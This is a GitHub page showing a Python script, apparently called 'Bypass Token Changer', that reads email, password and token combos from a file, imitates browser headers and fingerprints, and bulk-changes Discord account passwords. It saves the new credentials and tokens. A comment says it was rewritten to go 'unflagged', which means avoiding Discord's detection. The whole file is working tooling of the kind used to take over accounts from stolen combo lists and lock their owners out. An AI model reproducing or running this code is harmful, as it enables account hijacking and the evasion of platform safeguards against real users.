-
Notifications
You must be signed in to change notification settings - Fork 2
/
main.py
133 lines (116 loc) · 6.3 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
import requests
import string
import secrets
from Dickscord import Style
from pystyle import *
import os
"recoded https://github.com/fknMega/discord-token-changer, to make it unflagged and a few more options."
def _CHECKER_():
os.system('title Bypass Token Changer ')
custompass = Style.input("(#): Custom password [y/n]?: ")
if custompass == "y":
newpassx = Style.input("(#): New Password?: ")
def generate_password(length=12):
alphabet = string.ascii_letters + string.digits
while True:
password = ''.join(secrets.choice(alphabet) for i in range(length))
if ':' not in password and '@' not in password:
break
return password
def export_tokens():
with open('tokens.txt', 'r') as f:
tokens = f.readlines()
tokens = [x.strip() for x in tokens]
return tokens
combo = export_tokens()
class Dickcord_extension:
def __init__(self):
self.cookie = None
self.fingerprint = None
def get_cookies(self):
response = requests.get("https://discord.com")
self.cookie = response.cookies.get_dict()
self.cookie['locale'] = "us"
def request_fingerprint(self, headers):
response = requests.get("https://discordapp.com/api/v9/experiments", headers=headers)
self.fingerprint = response.json()["fingerprint"]
def cookies(self):
if self.cookie is None:
Style.print("(!): Couldn't Fetch Cookies.")
return self.cookie
def get_fingerprint(self):
if self.fingerprint is None:
Style.print("(!): Couldn't Fetch Fingerprints.")
return self.fingerprint
def cookieshead(self):
cookies_dict = self.cookies()
return "; ".join([f"{key}={value}" for key, value in cookies_dict.items()])
def change_password(email, password, token):
s = requests.Session()
dickcord_extension = Dickcord_extension()
dickcord_extension.get_cookies()
cookies_header = dickcord_extension.cookieshead()
headers = {'authorization': token,
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.58',
'origin': 'discord.com',
'accept': '*/*',
'accept-encoding': 'gzip, deflate, br',
'cookie': cookies_header,
'sec-ch-ua': '"Chromium";v="112", "Microsoft Edge";v="112", "Not:A-Brand";v="99"',
'x-discord-locale': 'de',
'sec-ch-ua-platform': 'Windows',
'x-debug-options': 'bugReporterEnabled',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-origin',
'sec-ch-ua-mobile': '?0',
'x-super-properties': 'eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiQ2hyb21lIiwiZGV2aWNlIjoiIiwic3lzdGVtX2xvY2FsZSI6ImRlIiwiYnJvd3Nlcl91c2VyX2FnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzExMi4wLjAuMCBTYWZhcmkvNTM3LjM2IEVkZy8xMTIuMC4xNzIyLjU4IiwiYnJvd3Nlcl92ZXJzaW9uIjoiMTEyLjAuMC4wIiwib3NfdmVyc2lvbiI6IjEwIiwicmVmZXJyZXIiOiIiLCJyZWZlcnJpbmdfZG9tYWluIjoiIiwicmVmZXJyZXJfY3VycmVudCI6IiIsInJlZmVycmluZ19kb21haW5fY3VycmVudCI6IiIsInJlbGVhc2VfY2hhbm5lbCI6InN0YWJsZSIsImNsaWVudF9idWlsZF9udW1iZXIiOjE5MzkwNiwiY2xpZW50X2V2ZW50X3NvdXJjZSI6bnVsbCwiZGVzaWduX2lkIjowfQ=='}
s.get('https://discord.com/channels/@me', headers=headers)
if custompass == "n":
new = generate_password()
else:
new = newpassx
payload = {
'password': password,
'new_password': new,
}
r = s.patch('https://discord.com/api/v9/users/@me', headers=headers, json=payload)
new_token = r.json()['token']
if r.status_code == 200:
Style.print(f"(+): Changed ({email}) → {new_token}")
return f'1:{email}:{new}:{new_token}'
if r.status_code == 403:
Style.print(f"(!): Couldn't Change {email} → {token} is locked")
if r.status_code == 401:
Style.print(f"(!): Invalid token → {token}")
else:
Style.print(f"(!): Failed to change for → ({email})")
return f'0:{email}:{password}:{token}'
def main_thread():
for i in combo:
email = i.split(':')[0]
password = i.split(':')[1]
token = i.split(':')[2]
new_combo = change_password(email, password, token)
if new_combo.split(':')[0] == '1':
with open('new_tokens.txt', 'a') as f:
f.write(new_combo.split(':')[1] + ':' + new_combo.split(':')[2] + ':' + new_combo.split(':')[3] + '\n')
else:
with open('failed.txt.txt', 'a') as f:
f.write(new_combo.split(':')[1] + ':' + new_combo.split(':')[2] + ':' + new_combo.split(':')[3] + '\n')
dsn = '''
▄▄▄▄ ▓██ ██▓ ██▓███ ▄▄▄ ██████ ██████
▓█████▄▒██ ██▒▓██░ ██▒▒████▄ ▒██ ▒ ▒██ ▒
▒██▒ ▄██▒██ ██░▓██░ ██▓▒▒██ ▀█▄ ░ ▓██▄ ░ ▓██▄
▒██░█▀ ░ ▐██▓░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒ ██▒ ▒ ██▒
░▓█ ▀█▓░ ██▒▓░▒██▒ ░ ░ ▓█ ▓██▒▒██████▒▒▒██████▒▒
░▒▓███▀▒ ██▒▒▒ ▒▓▒░ ░ ░ ▒▒ ▓▒█░▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░
▒░▒ ░▓██ ░▒░ ░▒ ░ ▒ ▒▒ ░░ ░▒ ░ ░░ ░▒ ░ ░
░ ░▒ ▒ ░░ ░░ ░ ▒ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░
░░ ░ '''
print(Colorate.Horizontal(Colors.blue_to_cyan, Center.XCenter(dsn)))
Style.print("(#): Press Enter to start.")
input("")
main_thread()
_CHECKER_()
Style.input("\n(#): Done Changing all Tokens.")